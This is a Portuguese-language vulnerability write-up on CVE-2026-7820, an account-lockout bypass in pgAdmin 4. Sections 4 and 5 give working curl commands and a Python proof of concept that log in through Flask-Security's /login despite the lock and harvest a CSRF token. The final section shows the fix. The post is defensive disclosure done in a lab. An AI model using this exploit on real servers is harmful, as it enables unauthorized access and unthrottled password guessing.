CVE-2026-7820 — Bypass do bloqueio de conta no pgAdmin 4
1. Introdução
Esse artigo faz parte de uma série de análises das vulnerabilidades que encontrei no pgAdmin 4 durante uma pesquisa independente. Se você ainda não leu o artigo introdutório sobre todas as CVEs desse conjunto, recomendo começar por ele antes de continuar aqui.
A CVE-2026-7820 não tem a maior severidade do conjunto — CVSS 6.5 (Média) — mas tem algo que me chamou atenção na hora que encontrei: ela é conceitualmente simples e, ao mesmo tempo, fácil de passar despercebida. O pgAdmin tem dois endpoints de login completamente independentes, e o controle de lockout que protege um deles não tem nenhum efeito sobre o outro.
Aviso: o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.15 do pgAdmin 4. Toda a pesquisa foi realizada em laboratório local.
2. O contexto: dois caminhos para autenticar
O pgAdmin 4 usa Flask como backend e integra a extensão Flask-Security para gestão de usuários e autenticação. Quando o Flask-Security é inicializado com security.init_app(), ele registra automaticamente algumas rotas, incluindo a /login. O pgAdmin também tem sua própria view de autenticação customizada, em /authenticate/login.
Na prática, quem abre o browser vê a tela de login e interage com /authenticate/login. Mas o /login do Flask-Security continua registrado e acessível em qualquer servidor.
A proteção contra força bruta do pgAdmin funciona assim: após um número configurável de tentativas falhas via /authenticate/login, o campo User.locked do banco SQLite é marcado como True e o usuário não consegue mais autenticar por esse caminho.
O que eu percebi ao analisar o código é que os dois campos são independentes:
# web/pgadmin/authenticate/__init__.py
if fail_count >= max_login_attempts:
user.locked = True # seta locked=True, nunca toca active
# web/pgadmin/model/__init__.py (antes da correção)
# UserMixin.is_locked() retornava sempre False
# Flask-Login checava apenas user.active para autorizar sessão
O Flask-Security valida autenticações checando user.active, não user.locked. E a view /login que ele registra nunca consultava o campo locked do modelo do pgAdmin.
3. O ambiente de laboratório
Reproduzi a falha num container Docker com o pgAdmin 4 em server mode:
# docker-compose.yml
services:
pgadmin:
image: dpage/pgadmin4:9.14
environment:
PGADMIN_DEFAULT_EMAIL: admin@lab.dev
PGADMIN_DEFAULT_PASSWORD: Admin@2024!
PGADMIN_CONFIG_SERVER_MODE: "True"
PGADMIN_CONFIG_MAX_LOGIN_ATTEMPTS: "3"
ports:
- "5050:80"
4. Como a falha funciona
4.1 Travando a conta pela rota correta
Primeiro, faço três tentativas de login com senha errada via /authenticate/login. O CSRF token é obtido da página de login antes de cada tentativa:
# Obter CSRF token
CSRF=$(curl -sc /tmp/jar http://localhost:5050/login \
| grep -oP '"csrfToken"\s*:\s*"\K[^"]+')
# Tentativas com senha errada — repita 3x
curl -sb /tmp/jar -c /tmp/jar -X POST http://localhost:5050/authenticate/login \
-H "X-pgA-CSRFToken: $CSRF" \
-d "email=admin@lab.dev&password=SenhaErrada&csrf_token=$CSRF" \
-o /dev/null
Após a terceira tentativa, o campo locked é marcado como True no banco. Qualquer nova tentativa via /authenticate/login com a senha correta retorna HTTP 302 redirecionando para /login com mensagem de conta bloqueada — nunca para /browser/.
4.2 O bypass via Flask-Security
Aqui está o ponto central da falha: o /login do Flask-Security não conhece user.locked. Ele valida as credenciais, checa user.active (que nunca foi alterado pelo lockout) e entrega a sessão normalmente.
# Bypass: POST direto para o /login do Flask-Security, sem CSRF
curl -b /tmp/jar -c /tmp/jar -X POST http://localhost:5050/login \
-d "email=admin@lab.dev&password=Admin@2024!&next=/browser/" \
-o /dev/null -v 2>&1 | grep "< HTTP\|Location:"
A resposta é HTTP 302 → /browser/, com um cookie de sessão válido.
Além do bypass em si, essa rota também não exigia CSRF token, o que significa que as tentativas via /login nunca eram contabilizadas no login_attempts. Um atacante podia fazer um ataque de adivinhação de senha online ilimitado contra /login sem nunca acionar o mecanismo de lockout do pgAdmin.
5. O PoC completo
Desenvolvi um script mais completo durante a pesquisa que automatiza o fluxo e ainda consegue injetar o cookie no browser da máquina local, abrindo a sessão já autenticada. O script também descobre o CSRF via /browser/change_password, um endpoint que é @pgCSRFProtect.exempt mas requer autenticação — e após o bypass via Flask-Security, essa autenticação já existe.
Aqui está o fluxo simplificado do bypass:
import requests
import re
TARGET = "http://localhost:5050"
s = requests.Session()
# 1. Autenticar via Flask-Security /login (sem CSRF, ignora user.locked)
r = s.post(
f"{TARGET}/login",
data={"email": "admin@lab.dev", "password": "Admin@2024!", "next": "/browser/"},
allow_redirects=False,
)
print(f"Status: {r.status_code} → {r.headers.get('Location', '')}")
# 2. Obter CSRF via endpoint que é exempt do CSRF e requer auth
r2 = s.get(f"{TARGET}/browser/change_password")
csrf = r2.json().get("csrf_token")
print(f"CSRF obtido: {csrf[:20]}...")
# 3. Validar sessão
r3 = s.get(f"{TARGET}/browser/nodes/", headers={"X-pgA-CSRFToken": csrf})
print(f"Sessão válida: {r3.status_code == 200}")
Uso do script completo (bypass_blocker.py):
python3 bypass_blocker.py \
-url http://localhost:5050 \
-user admin@lab.dev \
-p Admin@2024!
A saída confirma o bypass e exibe os tokens prontos para uso no Burp Suite.
6. A correção
A correção foi direta: o modelo User do pgAdmin passou a sobrescrever is_active e is_locked() para que o campo locked fosse respeitado em todos os caminhos de autenticação — tanto no /authenticate/login quanto no /login do Flask-Security.
# web/pgadmin/model/__init__.py — após a correção
class User(db.Model, UserMixin):
...
@property
def is_active(self):
# Conta está ativa somente se active=True E locked=False
return self.active and not self.locked
def is_locked(self, form_error=None):
if self.locked:
if form_error is not None:
form_error.append(
gettext('Your account is locked. '
'Please contact the administrator.')
)
return True
return False
Com essa mudança, a validação do Flask-Security passa a rejeitar usuários com locked=True porque is_active retorna False, independente de qual rota de login for usada.
Referência: pgadmin4#9904